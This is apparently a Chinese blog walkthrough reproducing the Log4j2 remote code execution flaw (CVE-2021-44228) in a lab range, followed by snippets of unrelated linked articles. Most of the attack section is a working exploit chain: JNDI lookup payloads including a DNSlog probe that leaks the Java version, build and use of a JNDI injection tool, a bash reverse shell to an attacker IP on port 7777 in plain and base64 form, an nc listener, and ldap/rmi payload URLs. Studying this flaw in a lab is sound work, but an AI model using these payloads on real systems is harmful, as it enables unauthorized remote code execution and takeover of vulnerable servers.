Log4j2远程命令执行(CVE-2021-44228)复现

这里选择使用vulfocue的靶场来进行复现

描述:

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

Lookup 操作:Log4j2 支持使用 JNDI 的lookup功能来解析和加载外部资源。例如,在日志格式中可以使用${jndi:ldap://example.com/}这样的表达式,Log4j 会尝试通过 JNDI 去指定的 LDAP 服务器获取资源。

Java 的动态类加载机制:Java 的类加载器允许在运行时动态地加载类。当应用程序需要使用某个类时,如果该类尚未被加载到内存中,类加载器会根据类的名称去查找并加载它。这种机制使得 Java 应用程序具有很强的灵活性和扩展性,但也可能带来安全风险。

利用动态类加载执行代码:攻击者可以构造恶意的 JNDI 资源,当 Log4j 尝试通过 JNDI 去获取这个资源时,实际上可能会加载攻击者指定的恶意类。例如,攻击者在 LDAP 服务器上设置一个指向恶意类的链接,当 Log4j 执行lookup操作时,就会从 LDAP 服务器获取到这个恶意类的信息,并通过 Java 的类加载器将其加载到应用程序的内存中。一旦恶意类被加载,它就可以在目标系统上执行任意代码,例如创建新的进程、读取或修改敏感数据、建立反向连接等。

logger.info("system propety: ${jndi:schema://url}");

1.启动环境

点击问号跳转


发现url会出现变化

schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。

漏洞利用语句如下(替换 schema://url):

${jndi:schema://url}

验证是否存在Log4j2远程代码执行,首先在DNSlog获取一个域名。

DNSLog Platform

输入下面的内容,注意替换你自己获得的域名

${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}

这里注意,进行url编码

Java程序解析这个表达式时,会将 ${sys:java.version} 替换为当前 JVM 的实际版本号,这样你在DNSlog就能看到相关信息

JNDI 注入工具安装

首先安装 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

切换到 JNDI-Injection-Exploit 目录

cd JNDI-Injection-Exploit

编译安装,在该目录下执行如下命令

mvn clean package -DskipTests

编译安装完成后,我们会得到一个 jar 文件

位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

在运行结果的最后有给出:

切换进入到 target 目录:

cd target

2、工具用法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

3、服务站点部署

反弹 shell 到目标主机端口,这里以 7777 端口为例

bash -i >& /dev/tcp/192.168.217.134/7777 0>&1

对命令进行 base64 编码 (命令必须经过编码,不然无法实现)

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec

得到

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip

利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上

在 target 目录下,执行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"

4、开启端口监听

再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)

nc -lvvp 7777

5、反弹shell

使用上述给出的 payload 路径构造完整 payload

比如:

${jndi:rmi://192.168.217.134:1099/lzdfyj}
${jndi:ldap://192.168.217.134:1389/qtbchd}

我们可以针对不同版本和不同情况使用不同的服务和不同的 payload

url编码

成功反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/79240.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

模型提示词

一 提示词 (一) 提示词(Prompt)是用户发送给大语言模型的问题、指令或请求,** 1 来明确地告诉模型用户想要解决的问题或完成的任务,是大语言模型理解用户需求并据此生成相关、准确回答或内容的基础。对于…

深度学习算法:从基础到实践

简介 深度学习作为人工智能领域的一个重要分支,近年来在多个领域取得了显著的成就。本文将从基础概念出发,探讨深度学习算法的核心原理,并介绍一些实际应用案例。 深度学习算法的核心概念 深度学习算法基于人工神经网络,通过构…

5.9 《GPT-4调试+测试金字塔:构建高可靠系统的5大实战策略》

5.4 测试与调试:构建企业级质量的保障体系 关键词:测试金字塔模型、GPT-4调试助手、LangChain调试模式、异步任务验证 测试策略设计(测试金字塔实践) #mermaid-svg-RblGbJVMnCIShiCW {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill…

Visio绘图工具全面科普:解锁专业图表绘制新境界[特殊字符]

Visio绘图工具全面科普:解锁专业图表绘制新境界🌟 在信息爆炸的时代,清晰、直观地呈现复杂信息变得至关重要。无论是绘制流程图📊、组织结构图👥,还是规划网络拓扑🖧,一款强大的绘图…

ShellScript脚本编程

语法基础 脚本结构 我们先从这个小demo程序来窥探一下我们shell脚本的程序结构 #!/bin/bash# 注释信息echo_str"hello world"test(){echo $echo_str }test echo_str 首先我们可以通过文本编辑器(在这里我们使用linux自带文本编辑神器vim),新建一个文件…

你了解哪些Java限流算法?

大家好,我是锋哥。今天分享关于【你了解哪些Java限流算法?】面试题。希望对大家有帮助; 你了解哪些Java限流算法? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 在 Java 中,限流算法广泛用于控制流量、避免过载和保护系统的稳…

prime-2 靶场笔记(vuInhub靶场)

前言: 在本次靶场环境中涉及的知识点,主要包含LFI和SMB以及Lxd组提权,具体内容包括主机探测、端口扫描、目录扫描、wpscan扫描、反弹shell、一句话木马、容器、linux各种提权和维持。 环境介绍: 本靶场使用了kali(192…

SparseDrive---论文阅读

纯视觉下的稀疏场景表示 算法动机&开创性思路 算法动机: 依赖于计算成本高昂的鸟瞰图(BEV)特征表示。预测和规划的设计过于直接,没有充分利用周围代理和自我车辆之间的高阶和双向交互。场景信息是在agent周围提取&#xff…

旅游特种兵迪士尼大作战:DeepSeek高精准路径优化

DeepSeek大模型高性能核心技术与多模态融合开发 - 商品搜索 - 京东 随着假期的脚步日渐临近,环球影城等备受瞩目的主题游乐场,已然成为大人与孩子们心中不可或缺的节日狂欢圣地。然而,随之而来的庞大客流,却总让无数游客在欢乐的…

android rtsp 拉流h264 h265,解码nv12转码nv21耗时卡顿问题及ffmpeg优化

一、 背景介绍及问题概述 项目需求需要在rk3568开发板上面,通过rtsp协议拉流的形式获取摄像头预览,然后进行人脸识别 姿态识别等后续其它操作。由于rtsp协议一般使用h.264 h265视频编码格式(也叫 AVC 和 HEVC)是不能直接用于后续处…

运维面试题(十四)

6.将日志从一台服务器保存到另一台服务器中的方法 1.使用 rsync 同步日志文件 2.使用 scp 手动或脚本化传输 3.配置日志服务(如 syslog 或 rsyslog )远程传输  4.编写脚本定时上传:结合 cron 定时任务和传输工具,编…

永磁同步电机控制中,滑模观测器是基于反电动势观测转子速度和角度的?扩展卡尔曼滤波观测器是基于什么观测的?扩展卡尔曼滤波观测器也是基于反电动势吗?

滑模观测器在PMSM中的应用: 滑模观测器是一种非线性观测器,利用切换函数设计,使得状态估计误差迅速趋近于零,实现快速响应和对外部干扰的鲁棒性。 在永磁同步电机(PMSM)无传感器控制中,滑模观测…

【前端】Vue一本通 ESLint JSX

近几天更新完毕,不定期持续更新,建议关注收藏点赞。 目录 工具推荐vscode插件vue-devtoolsESLint JSX语法扩展简介设计模式快速入门 vue/cli脚手架使用vue指令 工具推荐 工欲善其事,必先利其器。 vscode插件 Vetur:vue代码高亮…

【adb】bat批处理+adb 自动亮屏,自动解锁屏幕,启动王者荣耀

准备adb 下载 需要确认是否安装了adb.exe文件,可以在: 任务管理器 -->详细信息–>找一下后台运行的adb 安装过anroid模拟器,也存在adb,例如:雷电安装目录 D:\leidian\LDPlayer9 单独下载adb 官方下载地址:[官方网址] 下载目录文件: 测试adb USB连接手机 首先在设置界…

微信小程序转为App实践篇 FinClip

参考下面链接先 开始实践 微信小程序转为App并上架应用市场_微信小程序生成app-CSDN博客 首先在FinClip 官网上下载应用 小程序开发工具下载_小程序sdk下载资源-FinClip资源下载|泰坪小程序开放平台 下载到本地安装 打开导入自己的小程序项目;导入时会解析自己的…

arco design框架中的树形表格使用中的缓存问题

目录 1.问题 2.解决方案 1.问题 arco design框架中的树形表格使用中的缓存问题,使用了树形表格的load-more懒加载 点击展开按钮后,点击关闭,再次点击展开按钮时,没有调用查询接口,而是使用了缓存的数据。 2.解决方…

100个GEO基因表达芯片或转录组数据处理023.GSE24807

100个GEO基因表达芯片或转录组数据处理 写在前边 虽然现在是高通量测序的时代,但是GEO、ArrayExpress等数据库储存并公开大量的基因表达芯片数据,还是会有大量的需求去处理芯片数据,并且建模或验证自己所研究基因的表达情况,芯片…

SAP ECCS标准报表在报表中不存在特征CG细分期间 消息号 GK715报错分析

ECCS报表执行报错: 在报表中不存在特征CG细分期间 消息号 GK715 诊断 未在报表中指定特征CG细分期间。但是,同时需要特征CG细分期间和其它特征。例如: 期间’需要用于扩展合并组。 系统响应 处理终止 步骤 调整报表定义。 报这个错。 业务背景…

spring boot 文件下载

1.添加文件下载工具依赖 Commons IO is a library of utilities to assist with developing IO functionality. <dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.6</version> </depe…

FastAPI 中定义接口函数参数,包含请求体参数、查询参数、依赖注入参数的组合

FastAPI 中定义接口函数参数&#xff0c;包含请求体参数、查询参数、依赖注入参数的组合。 ✅ 示例结构 async def chat(request: Request,data: ChatData,conversation_id: Optional[str] Query(None),current_user: User Depends(get_current_user), ):这表示你定义了一个…